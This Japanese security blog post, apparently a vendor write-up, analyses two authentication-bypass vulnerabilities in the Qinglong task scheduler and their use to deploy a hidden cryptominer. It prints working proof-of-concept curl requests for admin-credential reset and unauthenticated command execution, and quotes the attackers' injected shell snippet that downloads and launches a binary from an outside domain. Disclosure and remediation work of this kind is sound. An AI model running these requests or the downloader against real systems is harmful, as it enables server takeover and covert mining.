QinglongタスクスケジューラーのRCE脆弱性が悪用され、暗号資産マイニングに利用

2026年2月初旬、19,000を超えるGitHubスターを獲得している人気のオープンソース定期タスク管理プラットフォームQinglong（青龙）のユーザーから、サーバーのCPU使用率が上限に達しているとの報告が寄せられ始めました。原因は.fullgcという暗号資産マイナーのバイナリで、認証されていないリモートコード実行を可能にする2つの認証バイパス脆弱性を通じて展開されていました。

この攻撃は、英語圏のセキュリティコミュニティではほとんど注目されませんでした。しかし、中国語の開発者フォーラムやGitHubのIssueでは、状況が明らかになっていました。攻撃者は、インターネットからアクセス可能なQinglongパネルを悪用し、暗号資産マイナーを展開していたのです。

タイムライン

Qinglongとは？

Qinglongは、Python3、JavaScript、Shell、TypeScriptのスクリプトに対応したセルフホスト型のタスクスケジューリングパネルです。データ収集から通知ワークフローまで、定期的なタスクの自動化に中国の開発者コミュニティで広く利用されています。Dockerイメージとnpmパッケージ（@whyour/qinglong）の両方が提供されています。

npmのダウンロード数は少ない一方、主な配布チャネルはDockerです。GitHubで19,400のスターと3,200のフォークを獲得していることから、主に中国語圏の開発者を中心とした大規模なユーザーベースがうかがえます。ユーザーはクラウドVPSインスタンスやホームサーバーにデプロイしています。

脆弱性

2026年2月27日、2つの異なる認証バイパス脆弱性が報告されました。いずれもQinglongバージョン2.20.1以前に影響します。現在、どちらもSnyk Vulnerability Databaseに登録されています。SNYK-JS-WHYOURQINGLONG-15440732とSNYK-JS-WHYOURQINGLONG-15468374です。

URL書き換えによる認証バイパス（CVE-2026-3965）

最初の脆弱性（CVE-2026-3965、GitHub Issue #2933）は、アプリケーションのExpress.jsミドルウェアにあるURL書き換えルールを悪用します。Qinglongは/open/*へのリクエストを/api/$1に書き換えるため、保護された管理者用エンドポイントへの意図しない経路が生じます。

攻撃者は、認証なしのリクエストを1回送るだけで管理者の認証情報を再初期化できました。

1curl -X PUT "http://target:5700/open/user/init" \
2  -H "Content-Type: application/json" \
3  -d '{"username": "admin", "password": "attacker_password"}'

認証情報がリセットされると、攻撃者はパネルを完全に掌握し、任意のスクリプトを作成・実行できるようになります。

大文字と小文字を区別するパスマッチングによる認証バイパス（CVE-2026-4047）

2つ目の脆弱性（CVE-2026-4047、GitHub Issue #2934）では、パスワードのリセットを必要とせず、認証なしでRCEが可能になります。認証ミドルウェアは、保護対象のルートを特定するために大文字と小文字を区別した文字列マッチング（req.path.startsWith('/api/')）を使用します。しかし、Express.js自体は大文字と小文字を区別せずにルートをマッチングします。/api/system/command-runではなく/aPi/system/command-runをリクエストすると、コマンド実行エンドポイントにルーティングされる一方で、認証チェックを完全に回避できます。

1curl -X PUT "http://target:5700/aPi/system/command-run" \
2  -H "Content-Type: application/json" \
3  -d '{"command": "id"}'

これにより、認証情報をリセットすることなく、認証なしでリモートコード実行が可能になります。

よくあるアンチパターン

どちらの脆弱性も、セキュリティミドルウェアの想定とフレームワークの動作の食い違いに起因しています。認証レイヤーは特定のURLパターンが常に一定の方法で処理されると想定していましたが、Express.jsは異なる方法で処理していました。これはWebアプリケーションセキュリティでよく知られた問題の一種です。認可ロジックとルーティングレイヤーがリクエストを異なる視点で処理すると、簡単にバイパスが発生します。SnykはこれまでにExpress.jsにおける不適切なアクセス制御パターンを詳しく取り上げており、同様のミドルウェアの認可バイパスがNext.js（CVE-2025-29927）でも発見されています。この種の脆弱性は、特定のフレームワークに限った問題ではありません。

暗号資産マイニング攻撃

これらの脆弱性が正式に報告されたのは2月27日ですが、悪用はその数週間前から始まっていました。2026年2月7～8日ごろから、Qinglongのユーザーは.fullgcという隠しプロセスがCPUの85～100%を消費しているとして、Issueを投稿し始めました。

攻撃の手口

攻撃者は認証バイパスを悪用してQinglongの設定ファイル（config.sh）を改ざんし、次のようなシェルスクリプトを挿入しました。

1. file.551911.xyzからプラットフォーム別のバイナリをダウンロード（Linux x86_64、ARM64、macOS版に対応）

2. /ql/data/db/.fullgcに隠しファイルとして保存

3. 実行可能にして、出力を抑制した状態でバックグラウンドプロセスとして起動

4. 停止されてもマイナーを再起動する永続化ロジックを組み込み

挿入されたコードは、次のようなものでした。

1# Downloads binary from unofficial domain
2u="https://file.551911.xyz/fullgc/$(uname -s)_$(uname -m)"
3b="/ql/data/db/.fullgc"
4curl -fsSL -o "$b" "$u" && chmod +x "$b" && nohup "$b" >/dev/null 2>&1 &

.fullgcというファイル名は、正規のプロセスに紛れ込ませる目的で選ばれた可能性があります。Java/JVM環境では「Full GC」（Full Garbage Collection）がCPU使用率急増の原因として知られているため、管理者による調査が遅れるおそれがあります。

影響の規模

さまざまなデプロイ構成で感染が複数報告されており、SSLを使用するNginxリバースプロキシの背後にあるシステムも含まれていました。Alibaba Cloud（Aliyun）などのクラウドプロバイダーは、影響を受けたインスタンスで暗号資産マイニング活動を検知しました。少なくとも1人のユーザーは、同じアクセス経路を通じて攻撃者がNezha監視パネルを侵害し、数百台のマシンを閲覧できる状態になったと報告しています。

Issue #2926でのコミュニティの議論では、プロジェクトのTelegramチャンネルを通じた警告の発信がメンテナーに求められました。最初の報告から数日たってもユーザーへの侵害が続いていたためです。

脆弱性への対処

最初の対応（PR #2924）は、入力検証に重点を置いていました。cronタスクのフィールドで、curl、wget、コマンド置換パターン、その他のシェルメタ文字をブロックするものです。これは多層防御の対策ですが、根本的なアクセス制御の問題ではなく、特定の攻撃ペイロードに対処するものです。なお、PR #2924はマージされませんでした。実際の修正には、ミドルウェアレベルで認証バイパスに対処する必要があり、その修正はPR #2941で行われました。

この対応の順序は適切です。アプリケーションが実際に悪用されていると、目に見えたペイロードをブロックしたくなるものです。しかし、根本原因が認証バイパスであれば、ペイロードレベルのフィルタリングでは不十分です。攻撃者は別のペイロードに切り替えるだけです。ペイロードをブロックするアプローチ（PR #2924）よりも認証レイヤーの修正（PR #2941）を優先したメンテナーの判断は、適切なセキュリティプラクティスを反映しています。まずアクセス制御の問題を修正し、そのうえで入力検証を多層防御の追加策として検討するべきです。

セルフホスト型アプリケーションのセキュリティから得られる教訓

このインシデントから得られる教訓は、Qinglongプロジェクトだけにとどまりません。

ミドルウェアチェーンを監査する

アプリケーションでURL書き換えやパスベースの認可を使用している場合、セキュリティミドルウェアとルーティングレイヤーがリクエストの分類方法について一致しているか確認しましょう。大文字と小文字の区別、末尾のスラッシュ、URLエンコード、書き換えルールは、いずれも不一致が起きやすい要因です。Snyk LearnのAPIセキュリティの設定ミスに関するレッスンでは、こうしたパターンをさらに詳しく解説しています。Snyk Codeなどのツールを使えば、自社のアプリケーションでこうした問題を特定できます。

セルフホスト型パネルを攻撃対象領域として捉える

インターネットに公開されたWebアプリケーションは、ニッチなものであっても攻撃対象になります。コマンドを実行できるAPIがあるなら、確実に機能する認証が必要です。セルフホスト型ツールをインターネットに直接公開するのではなく、VPNやSSHトンネルの背後に配置することを検討してください。

予期しないリソース使用量を監視する

今回の暗号資産マイニングは、主にCPUの飽和によって検知されました。攻撃者がマイナーのCPU使用率を20～30%に抑えていた場合、検知には大幅に時間がかかっていたでしょう。コンテナのリソース制限と監視を活用し、異常な挙動を早期に検知しましょう。

Dockerイメージを最新の状態に保つ

Qinglongは主にDocker経由でデプロイされます。特にセキュリティパッチがリリースされた際は、コンテナイメージを最新の状態に保つことが重要です。SnykのDockerセキュリティのベストプラクティス10選では基本を解説しています。また、Snyk Containerなどのツールを使えば、コンテナイメージに既知の脆弱性がないか継続的に監視できます。

設定を確認する

Qinglongを現在実行している、または過去に実行していた場合は、侵害の兆候がないか確認してください。

1# Check for the cryptominer binary
2ls -la /ql/data/db/.fullgc
3
4# Check config.sh for injected code
5grep -r "551911" /ql/data/config/
6grep -r "fullgc" /ql/data/config/
7
8# Check for unexpected background processes
9ps aux | grep fullgc

侵害されている場合は、マッピングされたDockerボリュームを削除し（コンテナだけでは不十分です）、config.shから悪意のあるコードを削除して、クリーンなイメージからコンテナを再作成し、最新バージョンに更新してください。

さらに大きな視点で見ると

Qinglongの脆弱性は、オープンソースのセキュリティに継続的な注意が必要な理由を示しています。何千ものスターを獲得し、活発なコミュニティを持つプロジェクトであっても、認証レイヤーに重大なセキュリティ上の欠陥を何年も抱えていることがあります。大文字と小文字を区別しないルーティングを利用した認証バイパス（Issue #2934）は、報告によると全バージョンに影響していました。攻撃者がオープンソースプロジェクトへのアクセスを悪用して暗号資産マイナーを展開した点では、Ultralytics AIの侵害にも通じる事例です。

暗号資産マイニングのペイロードは、展開が簡単な一方で検知が困難です。特に、設計上任意のスクリプトを実行できるタスクスケジューラーのようなプラットフォームでは、その傾向が顕著です。セルフホスト型ツールの運用者にとって、このインシデントはネットワークへの公開範囲、認証設計、アップデートの適切な管理がいずれも重要であることを示す実例です。